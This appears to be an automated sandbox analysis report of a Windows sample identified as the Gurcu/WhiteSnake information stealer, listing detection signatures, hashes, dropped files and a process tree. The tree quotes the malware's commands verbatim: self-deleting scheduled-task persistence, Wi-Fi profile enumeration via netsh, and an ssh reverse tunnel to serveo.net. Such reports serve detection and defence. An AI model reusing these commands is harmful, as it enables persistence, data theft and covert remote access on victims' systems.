Analysis

  • max time kernel
    152s
  • max time network
    161s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    07-10-2023 01:14

General

  • Target

    fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

  • Size

    225KB

  • MD5

    1edb8aa1adacda31bc98064b1634ddea

  • SHA1

    7dc5aee1dd577b61a41a5001d465f0606bb33618

  • SHA256

    fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

  • SHA512

    26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

  • SSDEEP

    3072:GQ2NGV19gqU3pJpfYTCOoShKmECPTKBWFPkl6WQre9Q29bSHXGhrD9HA2AF+q73o:uGDCOoSEmkWeILe9z9bS30AzHe0

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 8 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
    "C:\Users\Admin\AppData\Local\Temp\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2008
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2704
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:2168
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2716
        • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2728
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1880
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:2624
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:2776
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:2844
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1520
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:2808
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show networks mode=bssid
                      5⤵
                        PID:2824
                      • C:\Windows\system32\findstr.exe
                        findstr "SSID BSSID Signal"
                        5⤵
                          PID:2924
                      • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                        "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6720 serveo.net
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:948
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {FEDC1764-6429-453F-98E9-BCD6B0050F35} S-1-5-21-2180306848-1874213455-4093218721-1000:XEBBURHY\Admin:Interactive:[1]
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2524
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2684
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe
                    2⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    • outlook_office_path
                    • outlook_win_path
                    PID:308
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2020
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        4⤵
                          PID:2604
                        • C:\Windows\system32\findstr.exe
                          findstr /R /C:"[ ]:[ ]"
                          4⤵
                            PID:2080
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show profiles
                            4⤵
                              PID:2000
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                            3⤵
                              PID:2724
                              • C:\Windows\system32\chcp.com
                                chcp 65001
                                4⤵
                                  PID:1020
                                • C:\Windows\system32\netsh.exe
                                  netsh wlan show networks mode=bssid
                                  4⤵
                                    PID:2748
                                  • C:\Windows\system32\findstr.exe
                                    findstr "SSID BSSID Signal"
                                    4⤵
                                      PID:2784
                                  • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                                    "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6720 serveo.net
                                    3⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:2556

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\.ssh\known_hosts

                                Filesize

                                393B

                                MD5

                                18015a60cd12f33648facec1263cfafa

                                SHA1

                                31b7afd9a2dc51bfad694e5772d430fceedbac3f

                                SHA256

                                9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

                                SHA512

                                fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                                Filesize

                                1.5MB

                                MD5

                                79a6e2268dfdba1d94c27f4b17265ff4

                                SHA1

                                b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                                SHA256

                                6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                                SHA512

                                3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                                Filesize

                                914KB

                                MD5

                                d1ce628a81ab779f1e8f7bf7df1bb32c

                                SHA1

                                011c90c704bb4782001d6e6ce1c647bf2bb17e01

                                SHA256

                                2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                                SHA512

                                de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                                Filesize

                                914KB

                                MD5

                                d1ce628a81ab779f1e8f7bf7df1bb32c

                                SHA1

                                011c90c704bb4782001d6e6ce1c647bf2bb17e01

                                SHA256

                                2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                                SHA512

                                de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                                Filesize

                                914KB

                                MD5

                                d1ce628a81ab779f1e8f7bf7df1bb32c

                                SHA1

                                011c90c704bb4782001d6e6ce1c647bf2bb17e01

                                SHA256

                                2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                                SHA512

                                de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                Filesize

                                225KB

                                MD5

                                1edb8aa1adacda31bc98064b1634ddea

                                SHA1

                                7dc5aee1dd577b61a41a5001d465f0606bb33618

                                SHA256

                                fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                SHA512

                                26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                Filesize

                                225KB

                                MD5

                                1edb8aa1adacda31bc98064b1634ddea

                                SHA1

                                7dc5aee1dd577b61a41a5001d465f0606bb33618

                                SHA256

                                fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                SHA512

                                26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                Filesize

                                225KB

                                MD5

                                1edb8aa1adacda31bc98064b1634ddea

                                SHA1

                                7dc5aee1dd577b61a41a5001d465f0606bb33618

                                SHA256

                                fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                SHA512

                                26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575.exe

                                Filesize

                                225KB

                                MD5

                                1edb8aa1adacda31bc98064b1634ddea

                                SHA1

                                7dc5aee1dd577b61a41a5001d465f0606bb33618

                                SHA256

                                fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575

                                SHA512

                                26601df19ed259e48ae9e5a792fdb814d216cae446da5f2518670c25df2111a8df69c8afd2059a49e3f2c84156bb4fa95c9106f348535eb79e29f436df42037a

                              • C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat

                                Filesize

                                4B

                                MD5

                                41f860e3b7f548abc1f8b812059137bf

                                SHA1

                                7c7254019cf52a71df18839b3c433d2dc377f24b

                                SHA256

                                3e8ab67ce1b66389c3ae94f9c8f8afdeb70b46a33640554f352868f99d2f5616

                                SHA512

                                dff577ddf17b55b4cbaab526411cfd6ab279acbeffa619136def4ae7b6013211411c8ebeff348c74a2250731555ddfb25e9e3a6ada2361ffb54b7123152a096b

                              • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                                Filesize

                                1.5MB

                                MD5

                                79a6e2268dfdba1d94c27f4b17265ff4

                                SHA1

                                b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                                SHA256

                                6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                                SHA512

                                3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                              • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                                Filesize

                                1.5MB

                                MD5

                                79a6e2268dfdba1d94c27f4b17265ff4

                                SHA1

                                b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                                SHA256

                                6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                                SHA512

                                3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                              • memory/308-134-0x000000001B1A0000-0x000000001B220000-memory.dmp

                                Filesize

                                512KB

                              • memory/308-133-0x000007FEF4D30000-0x000007FEF571C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/308-140-0x000000001B1A0000-0x000000001B220000-memory.dmp

                                Filesize

                                512KB

                              • memory/308-139-0x000007FEF4D30000-0x000007FEF571C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2076-2-0x000000001AF20000-0x000000001AFA0000-memory.dmp

                                Filesize

                                512KB

                              • memory/2076-5-0x000007FEF5720000-0x000007FEF610C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2076-1-0x000007FEF5720000-0x000007FEF610C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2076-0-0x0000000000870000-0x00000000008AE000-memory.dmp

                                Filesize

                                248KB

                              • memory/2684-15-0x000007FEF4D30000-0x000007FEF571C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2684-13-0x000007FEF4D30000-0x000007FEF571C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2728-9-0x00000000011A0000-0x00000000011DE000-memory.dmp

                                Filesize

                                248KB

                              • memory/2728-129-0x000000001ADA0000-0x000000001AE20000-memory.dmp

                                Filesize

                                512KB

                              • memory/2728-17-0x000007FEF4D30000-0x000007FEF571C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2728-11-0x000000001ADA0000-0x000000001AE20000-memory.dmp

                                Filesize

                                512KB

                              • memory/2728-10-0x000007FEF4D30000-0x000007FEF571C000-memory.dmp

                                Filesize

                                9.9MB